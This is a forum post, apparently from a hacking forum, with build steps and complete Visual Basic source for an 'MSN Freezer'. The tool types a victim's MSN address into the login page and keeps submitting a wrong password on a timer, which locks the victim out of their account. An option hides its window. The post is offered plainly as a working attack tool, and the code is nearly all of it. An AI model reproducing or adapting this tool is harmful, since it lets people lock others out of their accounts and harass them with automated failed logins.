Jump to content

[VB.Source]MSN Frezzer


Coolis®

Recommended Posts

Ok let's start...

Please Support Me By Sending Adena ;)

- Open Visual Basic 2008

- Open new project and call it whatever you like

- Make 1 textbox

- Make a checkbox with text "Hide"

- Make 2 buttons with text "Freeze" and "Unfreeze"

- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".

- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".

- Make a timer with Enabled set FALSE and Interval set 100.

- Now double click on the Form and remove all text

Imports System.Threading.Thread
Public Class Form1

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Timer1.Enabled = True
       Label3.Text = "Freezing..."
   End Sub

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       On Error GoTo errordetected
       WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
       WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
       Sleep(2000)
       WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

       GoTo done
errordetected:
       Label3.Text = "Frozen!"
       WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

   End Sub

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       Label3.Text = "Ready"
       MsgBox("MSN UnFrozen!")
       Timer1.Enabled = False
   End Sub

   Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
       If CheckBox1.Checked = True Then
           Me.Hide()
       End If
   End Sub
End Class

 

Now you can build the program and use it as a MSN Freezer!!  ::) ::)

 

 

Regards CoŏŁΐŠ & hackforum

Link to comment
Share on other sites

  • 2 months later...
  • 1 month later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...